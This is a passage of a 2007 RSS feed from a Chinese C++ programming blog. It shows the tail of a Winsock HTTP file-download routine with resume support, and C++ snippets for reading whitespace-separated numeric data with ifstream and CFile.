<br>message="发送请求失败"; <br>return 0; <br>} <br><br><br>///第4行： <br>temp=DownLoadAddress; <br>temp.Insert(0,"Referer "); <br>temp+="\r\n"; <br>bReturn=SocketSend(HTTPSocket,temp); <br>if(!bReturn) <br>{ <br>message="发送请求失败"; <br>return 0; <br>} <br><br><br>///第5行:浏览器类型 <br><br>bReturn=SocketSend(HTTPSocket,"User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)\r\n"); <br>if(!bReturn) <br>{ <br>message="发送请求失败"; <br>return 0; <br>} <br><br>///第6行:连接设置,保持 <br>// SocketSend(HTTPSocket,"Connection:Keep-Alive\r\n"); <br><br>///第7行:Cookie. <br><br>bReturn=SocketSend(HTTPSocket,"Cache-Control: no-cache\r\n"); <br>if(!bReturn) <br>{ <br>message="发送请求失败"; <br>return 0; <br>} <br><br><br>bReturn=SocketSend(HTTPSocket,"Proxy-Connection: Keep-Alive\r\n"); <br>if(!bReturn) <br>{ <br>message="发送请求失败"; <br>return 0; <br>} <br><br>/// 续传 <br><br>Range是要下载的数据范围，对续传很重要 <br>if(continueFlag) <br>{ <br>temp.Format("Range: bytes=%d- \r\n",conLength); <br>bReturn=SocketSend(HTTPSocket,temp); <br>if(!bReturn) <br>{ <br>message="发送请求失败"; <br>return 0; <br>} <br>} <br><br><br>///最后一行:空行 <br>bReturn=SocketSend(HTTPSocket,"\r\n"); <br>if(!bReturn) <br>{ <br>message="发送请求失败"; <br>return 0; <br>} <br><br>///取得http头 <br>int i; <br>i=GetHttpHeader(HTTPSocket,tmpBuffer); <br>if(!i) <br>{ <br>message="获取HTTP头出错"; <br>return 0; <br>} <br><br>//如果取得的http头含有404等字样，则表示连接出问题 <br>temp=tmpBuffer; <br>if(temp.Find("404")!=-1) <br>{ <br><br>return 0; <br>} <br><br>// 得到待下载文件的大小 <br><br>filelength=GetFileLength(tmpBuffer); <br><br>return 1; <br>} <br><br><br>　　这样，就连接到网上的另一台机了，如何下载数据，不用多说了吧 <br><br>while((num!=SOCKET_ERROR) &amp;&amp; (num!=0)) <br>{ <br>num=recv (HTTPSocket <br>,(char FAR *)tmpBuffer <br>,(MAXBLOCKSIZE-1) <br>,0); <br><br><br>file.Write(tmpBuffer,num); <br><br>if(ExitFlag) <br>{ <br>file.Close(); <br>closesocket(HTTPSocket); <br><br>DownComplete=1; <br><br>m_message.CleanText(); <br>m_message.ShowColorText(RGB(128,128,0),DLCompleteMes); <br><br>m_progress.ShowWindow(SW_HIDE); <br>m_stopDownload.ShowWindow(SW_HIDE); <br>_endthread(); <br>} <br><br>} <br><br></div>
<img src ="http://www.cppblog.com/niewenlong/aggbug/27467.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-04 11:24 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/04/27467.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用CFile或者ifstream读入数据</title><link>http://www.cppblog.com/niewenlong/archive/2007/06/15/26382.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Fri, 15 Jun 2007 06:43:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/06/15/26382.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/26382.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/06/15/26382.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/26382.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/26382.html</trackback:ping><description><![CDATA[&nbsp;-0.271272 &nbsp; 0.057637 &nbsp; -1.169941 &nbsp; -0.595656 &nbsp; -1.034938 &nbsp; -2.084308 &nbsp; -1.636656 &nbsp; -0.379287 &nbsp; 0.004293 &nbsp; 0.289059 &nbsp; 0.519261 &nbsp; 0.471439 &nbsp; 0.571174 &nbsp; 0.021626 &nbsp; 0.110812 &nbsp; 0.810365 &nbsp; 0.856656 &nbsp; -0.149288 &nbsp; 0.047479 &nbsp; 0.215580 &nbsp; -0.163080 &nbsp; -0.832364 &nbsp; -1.017397 &nbsp; -0.769935 &nbsp; -0.434539 &nbsp; -0.555873 &nbsp; -0.462823 &nbsp; -0.662093 &nbsp; 0.404535 &nbsp; 0.167199 &nbsp; -0.156460 &nbsp; -0.272831 &nbsp; -0.438901 &nbsp; 0.469157 &nbsp; 0.484331 &nbsp; 0.497634 &nbsp; 0.012820 &nbsp; -0.359225 &nbsp; -1.001581 &nbsp; -0.702035 &nbsp; -1.427914 &nbsp; -1.775163 &nbsp; -1.531204 &nbsp; -1.519546 &nbsp; -1.839334 &nbsp; -1.734282 &nbsp; -0.865233 &nbsp; -1.666558 &nbsp; -2.260154 &nbsp; -1.655687 &nbsp; -1.768353 &nbsp; -2.065409 &nbsp; -1.846770 &nbsp; -1.859222 &nbsp; -1.720874 <br><br><br>#include &nbsp; &lt;fstream&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;iostream&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;stdio.h&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;stdlib.h&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;vector&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;iterator&gt; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; using &nbsp; namespace &nbsp; std; &nbsp; <br>&nbsp; void &nbsp; main() &nbsp; <br>&nbsp; { &nbsp; <br>&nbsp; vector&lt;vector&lt;double&gt; &nbsp; &gt; &nbsp; v; &nbsp; <br>&nbsp; ifstream &nbsp; in("c:\\hh.dat"); &nbsp; <br>&nbsp; double &nbsp; tmp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; v.push_back(vector&lt;double&gt;()); &nbsp; <br>&nbsp; vector&lt;double&gt;* &nbsp; p &nbsp; = &nbsp; &amp;v.back(); &nbsp; <br>&nbsp; while(!in.eof()){ &nbsp; <br>&nbsp; in &nbsp; &gt;&gt; &nbsp; tmp; &nbsp; <br>&nbsp; p-&gt;push_back(tmp); &nbsp; <br>&nbsp; if(in.peek() &nbsp; == &nbsp; '\n'){ &nbsp; <br>&nbsp; v.push_back(vector&lt;double&gt;()); &nbsp; <br>&nbsp; p &nbsp; = &nbsp; &amp;v.back(); &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; for(int &nbsp; i &nbsp; = &nbsp; 0; &nbsp; i &nbsp; &lt; &nbsp; v.size(); &nbsp; ++i){ &nbsp; <br>&nbsp; copy(v[i].begin(), &nbsp; v[i].end(), &nbsp; ostream_iterator&lt;double&gt;(cout, &nbsp; " &nbsp; ")); &nbsp; <br>&nbsp; cout &nbsp; &lt;&lt; &nbsp; "#####****" &nbsp; &lt;&lt; &nbsp; endl; &nbsp; <br>&nbsp; }&nbsp;&nbsp; <br><br><br><br><br>#include &nbsp; &lt;iostream.h&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;fstream.h&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;afxtemplel.h&gt; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; main() &nbsp; <br>&nbsp; { &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE* &nbsp; &nbsp; fp; &nbsp; <br>&nbsp; char &nbsp; &nbsp; &nbsp; name[256]; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; strcpy(name,fileName.ConvertToChar()); &nbsp; <br>&nbsp; cout &nbsp; &lt;&lt; &nbsp; name &nbsp; &lt;&lt; &nbsp; endl &nbsp; &lt;&lt; &nbsp; flush; &nbsp; <br>&nbsp; if((fp=fopen(name,"r"))==NULL) &nbsp; <br>&nbsp; { &nbsp; <br>&nbsp; cout&lt;&lt;"This &nbsp; &nbsp; file &nbsp; &nbsp; is &nbsp; &nbsp; not &nbsp; &nbsp; opened!"&lt;&lt;endl &nbsp; &lt;&lt; &nbsp; flush; &nbsp; <br>&nbsp; return; &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cout &nbsp; &lt;&lt; &nbsp; "open &nbsp; file &nbsp; success!" &nbsp; &lt;&lt; &nbsp; endl &nbsp; &lt;&lt; &nbsp; flush; &nbsp; <br>&nbsp; ifstream &nbsp; in(name,ios::in); &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; int &nbsp; i &nbsp; = &nbsp; 0; &nbsp; <br>&nbsp; char &nbsp; line[255]; &nbsp; <br>&nbsp; char &nbsp; *token &nbsp; = &nbsp; NULL; &nbsp; <br>&nbsp; char &nbsp; seps[] &nbsp; &nbsp; &nbsp; = &nbsp; " &nbsp; ,\t\n";//delimiters &nbsp; in &nbsp; the &nbsp; asc &nbsp; files&#8220;空格或逗号&#8221;分隔符 &nbsp; <br>&nbsp; CArray&lt;double,double&amp;&gt; &nbsp; *line_mArr=new &nbsp; CArray&lt;double,double&amp;&gt; &nbsp; [50];//最多50行 &nbsp; <br>&nbsp; int &nbsp; arr_counter=0;//行计数 &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int &nbsp; Point_Counter &nbsp; =0;//点计数 &nbsp; <br>&nbsp; while &nbsp; (fgets(line,255,fp)!=NULL) &nbsp; <br>&nbsp; { &nbsp; <br>&nbsp; if(!strcmp(line,"\n")) &nbsp; continue;//遇到空行，但是未到文件结尾。 &nbsp; <br>&nbsp; token=strtok(line,seps); &nbsp; <br>&nbsp; while(token &nbsp; = &nbsp; strtok(NULL,seps)!=EOF) &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; { &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; line_mArr[arr_counter].Add(strtok(NULL,seps));//提取读入的一个数的串到数组中 &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; arr_counter++; &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int &nbsp; j=0;j&lt;arr_counter;j++) &nbsp; <br>&nbsp; { &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; Point_Counter+=line_mArr[j].GetSize(); &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; cout &nbsp; &lt;&lt; &nbsp; "Point &nbsp; num &nbsp; = &nbsp; "&lt;&lt; &nbsp; Point_Counter &nbsp; &lt;&lt;endl;//输出点的总数 &nbsp; <br>&nbsp; fclose(fp); &nbsp; <br>&nbsp; return; &nbsp; <br>&nbsp; }&nbsp;&nbsp; <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>已修订，enjoy &nbsp; it! &nbsp; <br>&nbsp; #include &nbsp; &lt;fstream&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;iostream&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;stdio.h&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;stdlib.h&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;vector&gt; &nbsp; <br>&nbsp; #include &nbsp; &lt;iterator&gt; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; using &nbsp; namespace &nbsp; std; &nbsp; <br>&nbsp; void &nbsp; main() &nbsp; <br>&nbsp; { &nbsp; <br>&nbsp; vector&lt;vector&lt;double&gt; &nbsp; &gt; &nbsp; v; &nbsp; <br>&nbsp; ifstream &nbsp; in("c:\\hh.dat"); &nbsp; <br>&nbsp; double &nbsp; tmp; &nbsp; <br>&nbsp; char &nbsp; dummy; &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; v.push_back(vector&lt;double&gt;()); &nbsp; <br>&nbsp; vector&lt;double&gt;* &nbsp; p &nbsp; = &nbsp; &amp;v.back(); &nbsp; <br>&nbsp; while(!in.eof()){ &nbsp; <br>&nbsp; while(in.peek() &nbsp; == &nbsp; ' &nbsp; ') &nbsp; in.read(&amp;dummy, &nbsp; 1); &nbsp; //eat &nbsp; space &nbsp; <br>&nbsp; if(in.peek() &nbsp; == &nbsp; '\n'){ &nbsp; <br>&nbsp; v.push_back(vector&lt;double&gt;()); &nbsp; <br>&nbsp; p &nbsp; = &nbsp; &amp;v.back(); &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; in &nbsp; &gt;&gt; &nbsp; tmp; &nbsp; <br>&nbsp; p-&gt;push_back(tmp); &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; cout &nbsp; &lt;&lt;"\n========== &nbsp; result &nbsp; ============" &nbsp; &lt;&lt; &nbsp; endl; &nbsp; <br>&nbsp; cout.precision(10); &nbsp; <br>&nbsp; for(int &nbsp; i &nbsp; = &nbsp; 0; &nbsp; i &nbsp; &lt; &nbsp; v.size(); &nbsp; ++i){ &nbsp; <br>&nbsp; copy(v[i].begin(), &nbsp; v[i].end(), &nbsp; ostream_iterator&lt;double&gt;(cout, &nbsp; " &nbsp; ")); &nbsp; <br>&nbsp; cout &nbsp; &lt;&lt; &nbsp; "#####****" &nbsp; &lt;&lt; &nbsp; endl; &nbsp; <br>&nbsp; } &nbsp; <br>&nbsp; &nbsp; <br>&nbsp; }
<img src ="http://www.cppblog.com/niewenlong/aggbug/26382.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-06-15 14:43 <a href="http://www.cppblog.com/niewenlong/archive/2007/06/15/26382.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ofstream ifstream 文件操作</title><link>http://www.cppblog.com/niewenlong/archive/2007/06/14/26302.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Thu, 14 Jun 2007 05:23:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/06/14/26302.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/26302.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/06/14/26302.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/26302.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/26302.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: ofstream ifstream 文件操作&nbsp;&nbsp;<a href='http://www.cppblog.com/niewenlong/archive/2007/06/14/26302.html'>阅读全文</a><img src ="http://www.cppblog.com/niewenlong/aggbug/26302.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-06-14 13:23 <a href="http://www.cppblog.com/niewenlong/archive/2007/06/14/26302.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>